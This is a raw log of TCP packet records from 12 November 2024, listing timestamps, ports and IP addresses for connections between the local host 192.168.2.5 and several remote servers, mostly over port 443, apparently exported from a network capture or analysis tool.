Nov 12, 2024 08:30:24.113823891 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:24.114346027 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:24.114406109 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:24.114413023 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:24.114424944 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:24.114476919 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:24.172904968 CET	443	49735	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:24.172979116 CET	49735	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:24.174593925 CET	49735	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:24.174602985 CET	443	49735	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:24.174834013 CET	443	49735	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:24.175976992 CET	49735	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:24.223335981 CET	443	49735	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:24.347537994 CET	49747	443	192.168.2.5	142.250.184.206
Nov 12, 2024 08:30:24.347570896 CET	443	49747	142.250.184.206	192.168.2.5
Nov 12, 2024 08:30:24.347636938 CET	49747	443	192.168.2.5	142.250.184.206
Nov 12, 2024 08:30:24.348043919 CET	49747	443	192.168.2.5	142.250.184.206
Nov 12, 2024 08:30:24.348054886 CET	443	49747	142.250.184.206	192.168.2.5
Nov 12, 2024 08:30:24.421956062 CET	443	49735	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:24.422015905 CET	443	49735	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:24.422180891 CET	49735	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:24.422806025 CET	49735	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:24.422806025 CET	49735	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:24.422818899 CET	443	49735	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:24.422827959 CET	443	49735	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:24.431045055 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.433124065 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.433130980 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.433687925 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.433691978 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.441767931 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.442116976 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.442126989 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.442503929 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.442509890 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.478569031 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.479046106 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.479060888 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.479813099 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.479818106 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.506627083 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.506937027 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.506944895 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.507309914 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.507318020 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.557254076 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.557327032 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.557419062 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.557585955 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.557600021 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.557609081 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.557619095 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.560919046 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.560940981 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.561000109 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.561342001 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.561352968 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.570514917 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.571645975 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.571705103 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.571765900 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.571780920 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.571790934 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.571796894 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.574202061 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.574220896 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.574273109 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.574418068 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.574426889 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.599998951 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.600523949 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.600538015 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.601018906 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.601022959 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.607341051 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.607568979 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.607634068 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.607657909 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.607673883 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.607686043 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.607691050 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.609599113 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.609621048 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.609735966 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.609864950 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.609875917 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.638778925 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.638916016 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.638962984 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.638988972 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.638997078 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.639013052 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.639020920 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.641004086 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.641019106 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.641200066 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.641350031 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.641360044 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.737274885 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.738003969 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.738065004 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.738308907 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.738321066 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.738332033 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.738337040 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.747472048 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.747515917 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.747570038 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.749763012 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:24.749780893 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:24.756242037 CET	80	49738	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:24.756366968 CET	49738	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:24.876655102 CET	49738	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:24.881402969 CET	80	49738	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:24.888802052 CET	49720	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:24.893074036 CET	49747	443	192.168.2.5	142.250.184.206
Nov 12, 2024 08:30:25.014106035 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:25.014141083 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:25.014156103 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:25.014162064 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:25.302706957 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.306505919 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.306535006 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.308249950 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.308254957 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.319066048 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.319488049 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.319515944 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.319925070 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.319930077 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.336462021 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.336788893 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.336798906 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.337446928 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.337450981 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.368066072 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.368427038 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.368453026 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.369136095 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.369142056 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.437150002 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.437314987 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.437364101 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.437531948 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.437552929 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.437565088 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.437571049 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.441081047 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.441126108 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.441201925 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.441421986 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.441433907 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.450938940 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.450997114 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.451071024 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.451271057 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.451284885 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.451294899 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.451298952 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.453336000 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.453377008 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.453439951 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.453727007 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.453742027 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.464838982 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.465440989 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.465492964 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.465522051 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.465527058 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.465534925 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.465538979 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.467884064 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.467916012 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.468019009 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.468198061 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.468210936 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.478751898 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.479321003 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.479338884 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.479798079 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.479804039 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.496681929 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.496845961 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.496891975 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.504731894 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.504740000 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.504749060 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.504753113 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.508783102 CET	49757	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.508810043 CET	443	49757	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.508908033 CET	49757	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.511343002 CET	49757	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.511357069 CET	443	49757	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.609175920 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.609260082 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.609505892 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.609555960 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.609576941 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.609589100 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.609594107 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.612854958 CET	49758	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.612876892 CET	443	49758	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.612934113 CET	49758	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.613219976 CET	49758	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:25.613229990 CET	443	49758	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:25.692677975 CET	80	49738	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:25.692740917 CET	49738	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:26.170039892 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.171704054 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.171730042 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.173844099 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.173850060 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.186366081 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.187992096 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.188021898 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.188692093 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.188697100 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.205432892 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.206100941 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.206100941 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.206118107 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.206131935 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.240015030 CET	443	49757	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.240464926 CET	49757	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.240494967 CET	443	49757	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.240904093 CET	49757	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.240920067 CET	443	49757	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.297400951 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.297513962 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.297636032 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.297727108 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.297739983 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.297775030 CET	49755	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.297781944 CET	443	49755	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.300759077 CET	49759	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.300806999 CET	443	49759	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.300920010 CET	49759	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.301032066 CET	49759	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.301059008 CET	443	49759	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.319478035 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.319866896 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.320015907 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.320209980 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.320228100 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.320254087 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.320259094 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.322746992 CET	49760	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.322782040 CET	443	49760	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.322901011 CET	49760	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.326128960 CET	49760	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.326143026 CET	443	49760	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.339124918 CET	443	49758	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.339524031 CET	49758	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.339533091 CET	443	49758	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.340171099 CET	49758	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.340174913 CET	443	49758	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.346693993 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.346744061 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.346976042 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.346976042 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.347043037 CET	49754	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.347054958 CET	443	49754	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.349145889 CET	49761	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.349184036 CET	443	49761	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.349354029 CET	49761	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.350222111 CET	49761	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.350234985 CET	443	49761	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.368702888 CET	443	49757	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.368849993 CET	443	49757	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.369041920 CET	49757	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.375197887 CET	49757	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.375197887 CET	49757	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.375211000 CET	443	49757	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.375224113 CET	443	49757	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.377656937 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.377681017 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.377857924 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.377971888 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.377984047 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.466737032 CET	443	49758	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.466835976 CET	443	49758	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.466922998 CET	49758	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.485593081 CET	49758	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.485593081 CET	49758	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.485611916 CET	443	49758	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.485620975 CET	443	49758	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.522126913 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.522157907 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:26.526227951 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.530698061 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:26.530713081 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.041912079 CET	443	49759	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.068988085 CET	443	49760	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.081378937 CET	443	49761	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.087187052 CET	49759	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.111263037 CET	49759	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.111274004 CET	443	49759	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.117234945 CET	49759	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.117242098 CET	443	49759	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.118434906 CET	49760	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.120754004 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.121184111 CET	49760	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.121191978 CET	443	49760	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.121581078 CET	49760	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.121586084 CET	443	49760	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.121896982 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.121903896 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.122428894 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.122432947 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.134071112 CET	49761	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.159380913 CET	49761	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.159394026 CET	443	49761	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.159756899 CET	49761	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.159763098 CET	443	49761	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.245759010 CET	443	49759	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.245836020 CET	443	49759	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.245873928 CET	49759	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.254848957 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.255434036 CET	443	49760	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.255489111 CET	443	49760	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.255786896 CET	49760	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.257575035 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.257882118 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.257988930 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.285142899 CET	443	49761	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.285192966 CET	443	49761	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.285327911 CET	49761	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.299550056 CET	49759	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.299568892 CET	443	49759	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.300498962 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.300514936 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.300574064 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.300580025 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.301768064 CET	49761	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.301789045 CET	443	49761	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.301800966 CET	49761	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.301808119 CET	443	49761	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:27.305978060 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.311578989 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:27.311584949 CET	443	49763	13.107.246.45	192.168.2.5
